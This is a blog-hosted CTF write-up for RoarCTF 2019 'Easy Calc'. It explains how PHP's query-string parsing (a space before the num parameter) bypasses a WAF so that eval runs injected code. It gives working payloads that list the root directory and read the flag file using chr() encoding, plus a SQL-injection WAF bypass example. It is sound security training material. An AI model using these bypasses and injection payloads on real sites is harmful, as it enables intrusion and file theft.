• [RoarCTF 2019]Easy Calc PHP字符串解析漏洞、部分php函数


    1.  题目为一个提交框,可提供计算功能

     但是不能输入字母符号等等

    2.  抓包后分析

     发现页面为JavaScript判断,并且发现calc.php,进里面看看

     可以发现过滤了不少的符号,但是也发现了运行机制

     urlget形式传参数num并且在后端进行过滤,如果是合法字符便eval执行php计算后输出。初步判断这里可以进行代码植入。

    3.  但是num只能接受运算式,这里我学到了php字符串解析漏洞。

    https://www.freebuf.com/articles/web/213359.html

    PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用/news.php?%20news[id%00=42"+AND+1=0--绕过:


    运用到这题的话,在传入num参数时可以用? num代替?num,也就是num前加一个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。

    4.  利用这个特性,可以开始往里面写指令,这里先用scandir()函数查看根目录文件

    ? num=var_dump(scandir(chr(47)))
    scandir("路径")可以返回指定目录中的文件和目录的数组。
    "/"被过滤所以用chr(47)绕过
    var_dump将执行的结果输出。

     发现flagg文件。

    payload:

    ? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
    file_get_contents("文件路径")将指定文件读入字符串中
    用chr(ASCII码)指代/flagg
  • 相关阅读:
    Java的代码风格
    哪些你容易忽略的C语言基础知识
    Java基础学习笔记第二章
    Java代码性能优化总结
    Java并发编程(2):线程中断(含代码)
    C语言代码训练(一)
    数控G代码编程详解大全
    PLC编程算法
    博客转移到新地址
    一些吐槽
  • 原文地址:https://www.cnblogs.com/cmredkulaa/p/14538556.html
Copyright © 2020-2023  润新知